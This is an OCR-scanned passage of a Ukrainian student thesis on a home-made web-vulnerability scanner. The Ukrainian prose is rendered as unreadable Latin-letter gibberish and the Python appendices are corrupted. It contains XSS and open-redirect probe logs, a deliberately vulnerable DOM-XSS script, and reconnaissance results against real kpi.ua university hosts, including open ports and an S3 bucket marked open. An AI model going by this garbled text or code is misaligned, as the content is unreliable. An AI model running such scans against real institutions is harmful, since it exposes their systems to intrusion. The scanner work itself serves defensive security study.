nocwitanas Oynu reflected, 1 KiIbKICTh 3alUTIB MO0 TIONIykKa XSS cTaHOBMIIA —

8.

[olexandropanasiuk@mb-pro test-vuln-app % cat server-logs.txt | grep '?'
[Tue Jun 1 @@:56:42 2021] 127. 1:62890 [404]: GET //resources/images/tracker.gif?searchTerms='+query+' — No such file or directory
[Tue Jun 1 @@:56:42 2021] 127. 1:62891 [302]: GET //open_redirect.php?url=/index.php
[Tue Jun 1 @0:56:42 2021] 127. 1:62893 [200]: GET //xss.php?name=Kitty
[Tue Jun 1 00:56:42 2021] 127. .1:62894 [4@04]: GET //resources/images/tracker.gif?searchTerms=abcfgh778 — No such file or directory
[Tue Jun 1 00:56:42 2021] 127. .1:62895 [4@84]): GET //resources/images/tracker.gif?searchTerms='+query+'end%3Cnew — No such file or directory
[Tue Jun 1 00:56:42 2021] 127. 1:62896 [404]: GET //resources/images/tracker.gif?searchTerms='+query+'end%3Enew — No such file or directory
[Tue Jun 1 00:56:42 2021] 127. 1:62897 [404]: GET //resources/images/tracker.gif?searchTerms='+query+'end'new — No such file or directory
[Tue Jun 1 00:56:42 2021] 127. 1:62898 [404]: GET //resources/images/tracker.gif?searchTerms='+query+'end%22new — No such file or directory
[Tue Jun 1 @0:56:42 2021] 127. 1:62899 [302]: GET //open_redirect.php?url=abcfgh778
.1:62901 [20@]: GET //xss.php?name=abcfgh778
.1:62902 [200]: GET //xss.php?name=Kittyend%3Cnew
1:62903 [200]: GET //xss.php?name=Kittyend%3Enew
1:62904 [200]: GET //xss.php?name=Kittyend'new

62905 [200]: GET //xss.php?name=Kittyend%22new

62906 [484]: GET //resources/images/tracker.gif?searchTerms=/randompagel2 — No such file or directory
1:62907 [302]: GET //open_redirect.php?url=/randompagel2

[Tue Jun 1 00:56:43 2021] 127.
[Tue Jun 1 @@:56:43 2021] 127.
[Tue Jun 1 00:56:43 2021] 127.
[Tue Jun 1 00:56:43 2021] 127.
[Tue Jun 1 00:56:43 2021] 127.
[Tue Jun 1 00:56:43 2021] 127.
[Tue Jun 1 @@:56:43 2021] 127.
[Tue Jun 1 @0:56:43 2021] 127.0.0.1:62909 [200]: GET //xss.php?name=/randompagel2
olexandropanasiuk@mb-pro test-vuln-app % fI

PO OOO®®®

Pucynok 3.3 - 3anuTu 10 cepBepa 3 nmapaMeTpamu

Ha Pucynky 3.3 300pakeHi yci OTpUMaHi 3allUTH - BOHM HE MICTHIIH
MIKIJUIMBUX MEiIoadiB, 4epe3 SKi cepBep MIr 3a0J0KyBaTW Hallll 3alUTH, 1 HE

BUKJINKAJIN BCJIIMKOI'O HABAHTAXXCHHA.

Takox Oynu 3HanaeHi DOM-XSS ta Open Redirect. Ha cTopinami 3 DOM XSS

nmporpamMa po3siizHaia Bpa3nuBy QpyHkiito (Pucynok 3.4)

<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms="+query+'">"');

}

var query = (new URLSearchParams(window.location.search)).get('search');

if (query) {
trackSearch(query);

}

</script>

Pucynok 3.4 - Bpaznusicte DOM XSS

Ha cropinui open_redirect.php?url={{url}} BigOyBanocs nepeHanpaBiieHHs 3a

BKa3aHOIO apeCcolo, IK MU MOXXkeMo 0auuTu Ha PucyHky 3.5



[olexandropanasiuk@mb-pro test % python3

Python 3.9.2 (default, Feb 24 2021, 13:26:09)
[Clang 12.0.08 (clang-1200.0.32.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
[>>> import requests
[>>> url = 'http://localhost:8001/open_redirect.php?url=//google.com’

[>>> r = requests.get(url)
[>>> r.status_code

200

[>>> r.url
"http://www.google.com/'
55>

Pucynoxk 3.5 - Bpaznusicte Open Redirect

« Mooynw Archive finder

Ha Pucynky 3.6 mu Oaunmo 3HaijfeHI IOCHUJIAHHS, SKi Hapasl

1HJIeKCOBaHUMH Ha caiiTi ipt.kKpi.ua

.kpi.ua:88/wp-content/uploads/2019/12/F_ZV_1920_1s_3.x1ls
.kpi.ua/wp-content/uploads/2019/12/Gramota-215x300.3jpg
.kpi.ua:88/wp-content/uploads/2019/12/IPT_2019-2_Bonuses.pdf
.kpi.ua/wp-content/uploads/2019/12/Ponoch-1-230x300.3jpg
.kpi.ua:88/wp-content/uploads/2019/12/Sessiya_ZIMA_1920_1.xls
.kpi.ua/wp-content/uploads/2020/01/4nnbyrul-471x300.3jpg
.kpi.ua/wp-content/uploads/2020/01/Indyvidualnyj-vybir-300x300.jpg
.kpi.ua:80/wp-content/uploads/2020/01/IPT_2019-12_AverageScores.pdf
.kpi.ua/wp-content/uploads/2020/01/isef.png
.kpi.ua/wp-content/uploads/2020/01/isef2.png
.kpi.ua/wp-content/uploads/2020/01/1logo2-544x300.png
.kpi.ua/wp-content/uploads/2020/02/01.jpg
.kpi.ua/wp-content/uploads/2020/02/1-453x300.3jpg
.kpi.ua/wp-content/uploads/2020/02/2-453x300.
.kpi.ua/wp-content/uploads/2020/02/3-454x300.
.kpi.ua/wp-content/uploads/2020/02/4-453x300.
.kpi.ua/wp-content/uploads/2020/02/5-453x300.jpg
.kpi.ua/wp-content/uploads/2020/02/IStyopochkina5-156x150.jpg
.kpi.ua/wp-content/uploads/2020/02/tkach-149x150.3jpg
.kpi.ua/wp-content/uploads/2020/11/image@@1-150x150.jpg
.kpi.ua/wp-content/uploads/2020/11/image@@3-263x150.jpg
.kpi.ua/wp-content/uploads/2020/11/image@@4-267x150.jpg
.kpi.ua/wp-content/uploads/2020/11/Istoriya-1.jpg
.kpi.ua/wp-content/uploads/20820/11/Nakaz-pro-stvorennya-595x300.jpg
.kpi.ua/wp-content/uploads/2020/11/Programa-yuvileyu-142x300.png
.kpi.ua/wp-content/uploads/2020/11/TV-kanal.jpg
.kpi.ua/wp-content/uploads/2028/11/YUvilej1-300x300.]jpg
.kpi.ua/wp-content/uploads/2028/12/YUvilej-1-536x3080.3jpg
.kpi.ua/wp-content/uploads/2020/12/YUvilej-21.jpg
.kpi.ua/wp-content/uploads/2020/12/YUvilej-3-534x300.png
.kpi.ua/wp-includes/css/dashicons.css?ve i
.kpi.ua/wp-includes/css/dashicons.min.css?ver=4.1
.kpi.ua/wp-includes/fonts/dashicons.eot
.kpi.ua/wp-includes/fonts/dashicons.svg
.kpi.ua/wp-includes/fonts/dashicons.ttf
.kpi.ua/wp-includes/js/jquery/jquery-migrate.js?ver=1.2.1
.kpi.ua/wp-includes/js/jquery/jquery-migrate.min.js?ve: o,
.kpi.ua/wp-includes/js/jquery/jquery.js?ver=1.10.2
.kpi.ua/wp-includes/js/jquery/jquery.js?ver=1.11.1
.kpi.ua/wp-includes/js/thickbox/loadingAnimation.gif
.kpi.ua/wp-includes/js/thickbox/thickbox.css?ver=4.1
.kpi.ua/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105
.kpi.ua/wp-includes/wlwmanifest.xml
.kpi.ua:88/wp-login.php
.kpi.ua:88/wp-login.php?action=lostpassword
.kpi.ua:88/wp-signup.php?
.kpi.ua:80/wwwwwwww
.kpi.ua:80/wwwwwwww/feed
.kpi.ua:88/xmlrpc.php?rsd
.kpi.ua:88/ya-postupiv-yaki-osoblivosti-navchalnogo-planu-spetsializatsiyi-matematichni-metodi-kiberbezpeki
.kpi.ua:808/yaka-spetsialnist-krashha
.kpi.ua:808/yaka-spetsialnist-krashha/feed
.kpi.ua:80/yaki-osoblivosti-napryamu-prikladna-matematika-v-fiziko-tehnichnomu-instituti
.kpi.ua:808/yaki-osoblivosti-napryamu-prikladna-matematika-v-fiziko-tehnichnomu-instituti/feed
.kpi.ua:88/yasv
.kpi.ua:88/yasv/feed
.kpi.ua:88/yugakova
.kpi.ua:88/yugakova/feed
.kpi.ua:88/zagalna-informatsiya-kontakti
.kpi.ua:88/zagalna-informatsiya-kontakti/feed
.kpi.ua:808/zastosuvannya-matematichnih-metodiv-u-sporti
.kpi.ua:88/zastosuvannya-matematichnih-metodiv-u-sporti/feed
.kpi.ua:808/zavadska
.kpi.ua:80/zavadska/feed
.kpi.ua:80/zemliak
-kpi.ua:80/zhdanov
.kpi.ua:808/zhdanov/feed
.kpi.ua:88/zoryane-nebo
.kpi.ua:80/zoryane-nebo/feed

olexandropanasiuk@mb-pro test % cat Archiveurls.txtl

Pucynok 3.6 - Pesynbrar po6otu Archive finder na ipt.kpi.ua

HC


http://ipt.kpi.ua
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« Mooyne Domains analize
XocToMm aiisi TecTyBaHHSI OyB B3siTH kpi.ua. J[ns 3MeHIIEHHS HaBaHTaKCHHS
Mepexi, 31 3Haiaenux 500+ Oynu mpoaHanizoBaHi jawuile nepur 5 cyoaomenis. Ha

PUCYHKY 3.7 MOXKHA MOOAYUTH 3BIT, OPOPMIICHHI TAOIHIIETO.

olexandropanasiuk@mb-pro test % cat subdomains.txt i
Fomm e S et
| Host |

+m—— T g

| 23, 25, 80, 81, 135, 139, 443, 445, 1688, 1783, |

| 2016.kpi.ua |

| 3d.kpi.ua | 21, 8@, 443, 990, 50000, 50001, 50002, 50003, 50006, 50300, 50389, 50500, 50636, 50800, 51103, 51493, 52673, 52822, 52848, 52869,
— e —

olexandropanasiuk@mb-pro test % I

Pucynok 3.7 - 3BiT po6oTH cepBiciB Ha cyOaomeHnax kpi.ua

« Mooynw Cloud Storage finder
bynu npoananizoBani Cloud Storage micist ceppicy Amazon, 3 kpi B Ha3Bi. Ha

pUCYHKY 3.8 MOXHa MTOOAYUTH 3BIT.

olexandropanasiuk@mb-pro test % cat cloudstorages.txt
Protected S3 Bucket: http://kpi.s3.amazonaws.com/
Protected S3 Bucket: /kpi2.s3.amazonaws.com/
Protected S3 Bucket: /kpi2@18.s3.amazonaws.com/
Protected S3 Bucket: /kpi2@19.s3.amazonaws.com/
Protected S3 Bucket: i3.s3.amazonaws.com/
Protected S3 Bucket: i4.s3.amazonaws.com/
Protected S3 Bucket: i5.s3.amazonaws.com/
Protected S3 Bucket: /amazon-kpi.s3.amazonaws.com/
Protected S3 Bucket: /kpianalytics.s3.amazonaws.com/
Protected S3 Bucket: /kpi-app.s3.amazonaws.com/
Protected S3 Bucket: /kpibackup.s3.amazonaws.com/
Protected S3 Bucket: /kpi.backup.s3.amazonaws.com/
Protected S3 Bucket: /kpi-backup.s3.amazonaws.com/
Protected S3 Bucket: /kpi.backups.s3.amazonaws.com/
Protected S3 Bucket: /kpi-backups.s3.amazonaws.com/
Protected S3 Bucket: /kpibucket.s3.amazonaws.com/
Protected S3 Bucket: ://kpi-bucket.s3.amazonaws.com/
OPEN S3 BUCKET: http://kpi-build.s3.amazonaws.com/
Protected S3 Bucket: http://kpi-cloud.s3.amazonaws.com/
Protected S3 Bucket: /common-kpi.s3.amazonaws.com/
Protected S3 Bucket: /kpicontainer.s3.amazonaws.com/
Protected S3 Bucket: /kpi-data.s3.amazonaws.com/
Protected S3 Bucket: /kpi-db.s3.amazonaws.com/
Protected S3 Bucket: /kpi-dev.s3.amazonaws.com/
Protected S3 Bucket: /dev-kpi.s3.amazonaws.com/
Protected S3 Bucket: /kpi-development.s3.amazonaws.com/
Protected S3 Bucket: /kpi-files.s3.amazonaws.com/
Protected S3 Bucket: /kpi-images.s3.amazonaws.com/
Protected S3 Bucket: /infrakpi.s3.amazonaws.com/
Protected S3 Bucket: /kpi-logs.s3.amazonaws.com/
Protected S3 Bucket: /kpi.main.s3.amazonaws.com/
Protected S3 Bucket: ://media.kpi.s3.amazonaws.com/
Protected S3 Bucket: /kpipictures.s3.amazonaws.com/
Protected S3 Bucket: /prokpi.s3.amazonaws.com/
Protected S3 Bucket: /kpi-prod.s3.amazonaws.com/
Protected S3 Bucket: /kpi-reports.s3.amazonaws.com/
Protected S3 Bucket: /reports-kpi.s3.amazonaws.com/
Protected S3 Bucket: /kpi-services.s3.amazonaws.com/
Protected S3 Bucket: /kpi-stats.s3.amazonaws.com/
Protected S3 Bucket: /kpistorage.s3.amazonaws.com/
Protected S3 Bucket: /kpi-storage.s3.amazonaws.com/
Protected S3 Bucket: /kpistore.s3.amazonaws.com/
Protected S3 Bucket: /kpi-store.s3.amazonaws.com/
Protected S3 Bucket: /kpi-support.s3.amazonaws.com/
Protected S3 Bucket: /kpitest.s3.amazonaws.com/
Protected S3 Bucket: /kpi.test.s3.amazonaws.com/
Protected S3 Bucket: /kpi-test.s3.amazonaws.com/
Protected S3 Bucket: /testkpi.s3.amazonaws.com/
Protected S3 Bucket: /test-kpi.s3.amazonaws.com/
Protected S3 Bucket: /kpitraining.s3.amazonaws.com/
Protected S3 Bucket: /kpi-uploads.s3.amazonaws.com/
App Found: https://kpi-admin.awsapps.com

App Found: https://commonkpi.awsapps.com

App Found: https://testkpi.awsapps.com

App Found: https://test-kpi.awsapps.com
olexandropanasiuk@mb-pro test % [J

Pucynok 3.8 - 3BiT nomyky Cloud Storage 3 kpi B Ha3Bi
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BUCHOBKMH

[Ipyn npocaiakeHi METOMIB aBTOMaTH3allli MOIMIYKY Bpa3jlUBOCTEH BeO-
3aCTOCYHKY OyJIM BIJOKPEMJICHI JIB1 PI3HUIIL Yy peaiizailii: MeToa rnepedopy Ta METo.
aHamizy BiamoBimi. Jlasg ngeMoHcTparlii poOOTH METOMiB OyB JIOCIIIKCHUI
GyHKIIIOHANT HAMKpalux Mporpam JJis CKaHyBaHHS Be0-3aCTOCYHKIB, a TaKOX JIOTH,
3anumieHi Burp Scanner, mpu TecTyBaHI Bpa3lMBOTO Be0-3aCTOCYHKY, HAIMCAHOTO
JUTSL IEMOHCTpaIii poOOTH cKaHepa, KW € MPAKTHYHOK YACTHHOK HAIMCAHHS
TUTUIOMHOT poOoTu. Takok Oymu po3MISHYTI METOAHM 300py Ta aHami3y JaHUX IS
MOIIYKY CEKpeTHOi 1H(opMalii, sKka CTOCYIOTbCS CTOBPEHHS Ta MIiATPUMKH
pare31aTHOCTI BeO-3aCTOCYHKY.

[Ipu cTBOpeHHI ckaHepa Oynu peainizoBaHi Moyl Spider (30MpaHHs TOCUIIAHb
Be0-3aCTOCYHKY, aHaii3 BpazimmBocteit: XSS, Open Redirect, CSRF), Archive finder
(ToIIyK 1HAEKCOBaHUX MONTYKOBUMH CHCTEMaMH Mocuiianb), Domains analize (anami3
xocTiB Ha Biakputi noptu 10 10000), Cloud Storage finder (momryk HEKOpPEKTHHX
npaB JOCTYyIly Ha XMapHHUX cepBicax, A€ 3aCTOCYHOK 30epirae 1aHi).

JIist meMoHcTparlii mpare3gaTHOCTI CTBOPEHOTO CKaHepy Oysid MpOTECTOBaHi
caiitu ipt.kpi.ua ta kpi.ua, a Takox po3poOiaeHUl BeO-3aCTOCYHOK 3 BPA3IMBOCTSIMHU.

Po3pobnena y pesynbTari nporpama jae (QyHIaMEHT IJsi CTBOPEHHS HOBUX
MOJIYJIIB TOIIYKY Bpa3JIMBCTEN Ta iX JIETKO1 1HTErpaii — TaKuM YHUHOM aJTOPUTM
MIONIYKY JESKOT BPA3MBOCTI MOXKE OyTH OMUCAHUM OKPEeMOIO (DYHKITIEIO Ta JOMAHHMA
70 TporpamMu. BUKOpHCTaHHS 1HOTO CKaHEpPYy JOMOXKE TMOKpaIuTH Oe3rneKy BeO-

3aCTOCYHKIB.
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JAOAATKHA
JOIATOK A
Monynb nporpamu: spider.py

import requests, 0s, time
global p_name
f = open('current_project.txt','r")
p_name = f.read().replace("\n',")
f.close
def sort_links(links):
global main_domain
restrict_ mas = ['.jpg', ".png', 'ico', 'jpeg', .mp4', '.css', ".pdf', .doc']
new_links =[]
for i in links:
link =1
if '# in link: # remove '#'
tmp01 = link.find('#")
link = link[:tmpO1]
if link ==" or link =="/":
link = main_domain
new_links.append(link)
continue
if len(link) < 2:
link = main_domain + 1
new_links.append(link)
continue
ifi[0] ==""and 1[1] !="/": #'/abc'
link = main_domain + 1

ifi[0:1] =="//": #'//google.com’
link = 'https://' +1

if1[0:4] !="http": #'abc.txt'
link = main_domain +'/' +1

for j in restrict mas: #ipg etc
if j in link:

tmp01 = link.find('?")
tmp02 = link.find(j)
if tmp01 > tmp02 or tmp01 == -1:
link = link + '[nope_keks 8912]'
break
if '[nope keks 8912]' not in link:
link.replace("://', ":/al")
link.replace('//", '/")
link.replace(':/a/', "://")
new_links.append(link)
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return new_links
def get main_domain(start url):
tmp01 = start_url.find("://")
tmp01 = start_url.find('/', tmp01+4)
if tmp01 == -1:
return start_url
else:
a = start_url[:tmp01]
return a
def get headers(): #+
print('Opening headers.txt to take headers to insert. Confirm...")
os.system('open ./tmp/headers.txt")
tmp = input('Continue...")
headers_data = {}
filename = './tmp/headers.txt'
f = open(filename, 'r')
for line in f:
line = line.replace("\n', ")
tmp = line.find(":")
a = line[:tmp]
b = line[tmp+1:]
if (b[0]==""):
b=Db[1:]
headers data[a] =b
f.close
def report(links):
global p name
filepath ="./projects/' + p_name + /'
js_links =]
param_links =[]
for link in links:
if '.js' in link:
js_links.append(link)
if '?" in link:
param_links.append(link)
if js_links !=[]:
filename = filepath + 'js_links.txt'
com = "touch ' + filename
o0s.system(com)
f = open(filename,'w")
for1injs_links:
f.write(i+'\n'")
f.close
if param_links !=[]:
filename = filepath + 'param_links.txt'
com = 'touch ' + filename
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o0s.system(com)

f = open(filename,'w")

for 1 in param_links:

f.write(i+'\n")

f.close
filename = filepath + 'all links.txt'
com = 'touch ' + filename
os.system(com)
f = open(filename,'w")
for 1 in links:

f.write(i+"\n')

f.close
def get links(h_s):

links =[]
tmpl =h_s.find("href=')
while 1:

if tmpl ==-1:

break

tmpl =h_s.find('=",tmp1)
to find=h s[tmpl+1]
tmpO1 =0
while to_find=="":

tmpO1 +=1

to find =h_s[tmpl+1+tmp01]
tmpl =h_s.find(to_find,tmpl)
tmp2 =h_s.find(to_find,tmp1+1)
link =h_s[tmpl+1:tmp2]
if link !=":

links.append(link)
tmpl =h_s.find("href="tmp1+1)
if tmpl ==-1:
break
tmpl =h_s.find('src=")
while 1:
if tmpl ==-1:
break

tmpl =h_s.find('=",tmp1)
to find=h s[tmpl+1]
tmpO1 =0
while to_find=="":

tmpO1 +=1

to_find =h_s[tmpl+1+tmpO01]
tmpl =h_s.find(to_find,tmp1)
tmp2 = h_s.find(to_find,tmp1+1)
link =h_s[tmpl+1:tmp2]
if link !="":
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links.append(link)
tmpl =h_s.find('src=",tmp1+1)

if tmpl ==-1:
break
tmpl =h_s.find("href =')
while 1:
if tmpl ==-1:
break

tmpl =h_s.find('=',tmp1)
to find =h_s[tmpl+1]
tmpO01 =0
while to_find ==""

tmpO01 +=1

to_find =h_s[tmpl+1+tmp01]
tmpl =h_s.find(to_find,tmp1)
tmp2 =h_s.find(to_find,tmp1+1)
link =h_s[tmpl+1:tmp2]
if link !=":

links.append(link)
tmpl =h_s.find("href =',tmp1+1)
if tmpl ==-1:
break
tmpl =h_s.find('src =")
while 1:
if tmpl ==-1:
break

tmpl =h_s.find('=",tmp1)
to find=h s[tmpl+1]
tmpO1 =0
while to_find=="":
tmpO01 +=1
to find =h_s[tmpl+1+tmp01]
tmpl =h_s.find(to_find,tmpl)
tmp2 =h_s.find(to_find,tmp1+1)
link =h_s[tmpl+1:tmp2]
if link !=":
links.append(link)
tmpl =h_s.find('src =',tmp1+1)
if tmpl ==-1:
break
links = sort_links(links)
return links
def detect xss(links):
for link in links:
if '?" in link:
check reflected(link)



def get params(link):
params = []
tmp01 = link.find('?") + 1
f1=0
while fl = 1:
tmp02 = link.find('&', tmpO1 + 1)
if tmp02 == -1:
fl=1

tmp02 = len(link)
tmp03 = link.find("='", tmp01, tmp02)

if tmp03 ==-1:
params.append(link[tmp01:tmp02])
else:

params.append(link[tmp01:tmp03])
tmpO1 = tmp02 + 1
return params
def check reflected(link):
global p name
params = get_params(link)
payloads =[]
for param in params:
tmp4 ='?' + param
tmpl = link.find(tmp4)
if tmpl ==-1:
tmp4 ='&' + param
tmp1 = link.find(tmp4)
tmp2 = link.find('&', tmp1+1)
if tmp2 ==-1:
tmp2 = len(link)
tmp3 = link.find('=', tmp1, tmp2)
if tmp3 ==-1:
payload = link[:tmp2] + '=abcfgh778' + link[tmp2:]
else:
payload = link[:tmp3] + '=abcfgh778' + link[tmp2:]
payloads.append(payload)
for tmp_link in payloads:
r = requests.get(tmp_link)
tmp hs = r.text
if 'abcfgh778' in tmp_hs:
tmp_o_mas — [v<v,v>v,v\n’un]
for elemO in tmp 0 mas:
payload = link[:tmp2] + 'end' + elem0 + new' + link[tmp2:]
r = requests.get(payload)
if 'end' + elem0 + 'new' in r.text:
filename ="./projects/' + p_name + '/alerts.txt'
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f = open(filename, 'a")
f.write("Possible XSS: ' + payload + "\n')
f.close
def detect redirect(links):
global p_name
global main_domain
for link in links:
if '?" in link:
payloads =[]
params = get _params(link)
for param in params:
tmp4 ='?' + param
tmp1 = link.find(tmp4)
if tmpl ==-1:
tmp4 ="'&' + param
tmp1 = link.find(tmp4)
tmp2 = link.find('&', tmp1+1)
if tmp2 == -1:
tmp2 = len(link)
tmp3 = link.find('=", tmp1, tmp2)
if tmp3 ==-1:
payload = link[:tmp2] + '=/randompage12' + link[tmp2:]
else:
payload = link[:tmp3] + '=/randompage12' + link[tmp2:]
payloads.append(payload)
for payload in payloads:
r = requests.get(payload)
if rurl == main domain + '/randompage12":
filename ="'./projects/' + p_name + '/alerts.txt'
f = open(filename, 'a")
f.write('Possible Open redirect: ' + payload + "\n")
f.close
def detect csrf(h_s, link):
if '<form 'in h_s:
global p name
tmpl =h_s.find('<form ')
hidden_logic = False
while tmp1 !=-1:
tmp2 = h_s.find("</form>',tmp1)
tmp hs =h_s[tmpl:tmp2]
tmp3 = tmp_hs.find('<input')
while tmp3 !=-1:
tmp4 = tmp_hs.find(">")
if 'hidden' in tmp_hs[tmp3:tmp4]:
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hidden logic = True
tmp3 = tmp_hs.find('<input', tmp3 + 1)

tmpl =h_s.find('<form',tmp1+1)
if hidden logic == False:
filename ="./projects/' + p_name + '/alerts.txt'
f = open(filename, 'a")
f.write('Possible CSRF: ' + link + "\n")
f.close
def detect domxss(h_s, link):
payloads mas = ['document.write(', 'innerHTML', 'eval(']
for payload in payloads mas:
tmpl =0
for 1 in range(h_s.count(payload)):
tmpl =h_s.find(payload, tmp1+1)

if '<script>' in h_s[:tmp1] and '</script>' in h_s[tmp1:]:

print(2)
filename = './projects/' + p_name + '/alerts.txt'
f = open(filename, 'a")
f.write('Possible DOM-XSS: ' + link + "\n")
f.close
def main(links):
global headers_data
for link in links:
print('Scanning ' + link)
r = requests.get(link)#, headers=headers data)
new_links = get links(r.text)
detect csrf(r.text, link)
detect domxss(r.text, link)
for 1 in new_links:
if 1 not in links:
links.append(1)
"try:
r = requests.get(link)#, headers=headers data)
new links = get links(r.text)
detect csrf(r.text, link)
for 1 in new_links:
if 1 not in links:
links.append(1)
except:
print('Some problems with link ' + link)"
report(links)
detect xss(links)
detect redirect(links)
#start_url = input('"Enter url to start from: ")
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start url = 'http://localhost:8001'

global main_domain

main_domain = get main_domain(start url)
#global headers data

#headers data = get headers()
links =[]
links.append(start_url)
main(links)

JNOJATOK b
Monyns nporpamu: archive.py

import requests, sys, 0s
domain = sys.argv[1]
def help():
print(-c - include subdomains for search')
print(-h - show help message')
url = 'http://web.archive.org/cdx/search/cdx?url=' + domain + '/
*&output=txt&fl=original&collapse=urlkey'
if len(sys.argv) > 2:
if sys.argv[2] =="-h":
help()
if sys.argv[2] =="-c"
url = 'http://web.archive.org/cdx/search/cdx?url=*." + domain + '/
*&output=txt&fl=original&collapse=urlkey'
r = requests.get(url)
report_text = r.text
filename_report = "./projects/test/ ArchiveUrls.txt'
com = "touch ' + filename report
o0s.system(com)
f = open(filename report, 'w')
f.write(report_text)
f.close
scan_filename = 'links.txt'
print('Getting list from ' + scan_filename +'. Confirm...")
tmpqgaaa = input()

print("\n')
def progress(count, total, suffix="):
bar_len =40

filled len = int(round(bar len * count / float(total)))
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percents = round(100.0 * count / float(total), 1)
bar ='="* filled len +'-' * (bar _len - filled len)

sys.stdout.write('[%os] %s%s ...%s\r' % (bar, percents, '%', suffix))

sys.stdout.flush()
base url = 'http://web.archive.org/cdx/search/cdx?url='
links =[]
f = open(filename_report, 'r')
for line in f:
links.append(line.replace("\n',"))
f.close
links status =[]
for link in links:
url = base_url + link
r = requests.get(url)
tmpO1 = r.text
1f ' 200 " in tmpO1:
links_status.append('+')
else:
links status.append(’-")
tmp_at = links.index(link) + 1
tmp_from = len(links)
progress(tmp_at, tmp from, 'done")
print("\n")
for 1 in range(len(links)-1):
if links _status[i] == "+"
print(links[1])

JOJATOK B
Monyns nporpamu: subdomains.py (V1)

import os

from prettytable import PrettyTable

domain = input('"Enter domain to sublist: ')

report_filename = 'subdomains.txt'

com = 'python3 sublist3r.py -d ' + domain + ' -0 tmp.txt'

0s.system(com)

report mas =[]

f = open('tmp.txt', 't")

for line in f:
report_mas.append(line.replace("\n',"))

f.close
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os.system('echo \'\' > tmp.txt’)
os.system('rm tmp.txt')
com = 'subfinder -d ' + domain + ' -o tmp.txt'
os.system(com)
f = open('tmp.txt', 'r')
for line in f:
tmpO1 = line.replace("\n',")
if tmp01 not in report _mas:
report _mas.append(tmp01)
f.close
os.system('rm tmp.txt')
f = open(report_filename, 'w')
for tmp1 in report _mas:
if tmp1 == report_mas[len(report_mas)-1]:
f.write(tmp1)
else:
f.write(tmpl + "\n')
f.close
x = PrettyTable(["Host", "Ports"])
host mas =[]
port mas =[]
i=0
for domain in report_mas:
host mas.append(domain)
com = nmap ' + domain + ' -0oG tmp.txt'
0s.system(com)
f = open("tmp.txt','r")
ports ="
for line in f:
line = line.replace("\n',")
if 'Ports:" in line:
tmp1 = line.find('Ports:")
tmpl = line.find(":',tmp1)
for 1 in range(line.count(',")+1):
tmp2 = line.find('/', tmp1)
ports += line[tmp1+1:tmp2] +",'
tmp1 = line.find(',",tmp1+1)
break
f.close
port_mas.append(ports)
i+=1
if i == 20:
print('Exit by owner...")
break
for 1 in range(len(host mas)):
x.add row([host masJ[i], port mas[i]])



#project

filename = './projects/test/subdomains.txt'
com = "touch ' + filename

f = open(filename, 'w")

f.write(str(x))

f.close

Monyns nporpamu: subdomains.py (V2)

import socket, threading, os, sys
global open_ports
open_ports =[]
subdomains_filename = sys.argv[1]
def scan_port(ip,port):
global open_ports
sock = socket.socket(socket. AF _INET, socket. SOCK _STREAM)
sock.settimeout(0.5)
try:
connect = sock.connect((ip,port))
rep _str ="'+ str(ip) + "' + str(port)
open_ports.append(rep_str)
sock.close()
except:
pass
def save report(report mas):
com = 'touch report.txt'
o0s.system(com)
f = open('report.txt', 'w')
for 1 in report_mas:
f.write(1 + "\n')
f.close
def generate report(ips):
report mas =[]
global open_ports
for ip in ips:
report str=1ip + "'
for 1 in open_ports:
if''"+ipini:
report_str += i[i.find(":")+1:] + "'
report _mas.append(report_str)
return report_mas
def get domains():
subdomains_filename = sys.argv[1]
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f = open(subdomains_filename)
domains =[]
for line in f:
domains.append(line.replace('\n',"))
f.close
return domains
def main():
global open_ports
#ips = ['novaposhta.ua', 'auth.novaposhta.ua', 'api.novaposhta.ua'l
ips = get_domains()
for ip in ips:
for 1 in range(5000):
procl = threading. Thread(target=scan_port, args=(ip,1))
procl.start()
proc2 = threading. Thread(target=scan_port, args=(ip,5000+1))
proc2.start()
report_mas = generate report(ips)
save report(report mas)
main()

NOJATOK I
Monyns nporpamu: storage finder.py

import 0s
tmp_input = input('Enter keywords to start attack: ')
keywords =[]
tmpl =0
if tmp_input.count(' ') == 0:
keywords.append(tmp_input)
else:
for 1 in range(tmp_input.count(' ")+1):
tmp2 = tmp_input.find(' ",tmp1+1)
if tmp2 == -1:
tmp2 = len(tmp_input)+1
keywords.append(tmp_input[tmp1+1:tmp2])
tmp |=tmp2

com = "python3 cloud enum.py --disable-gcp '
for 1 in keywords:
com+="-k\"+1+"\""



filename ='./projects/test/cloudstorages.txt'
com+="-]"

com += filename

os.system(com)
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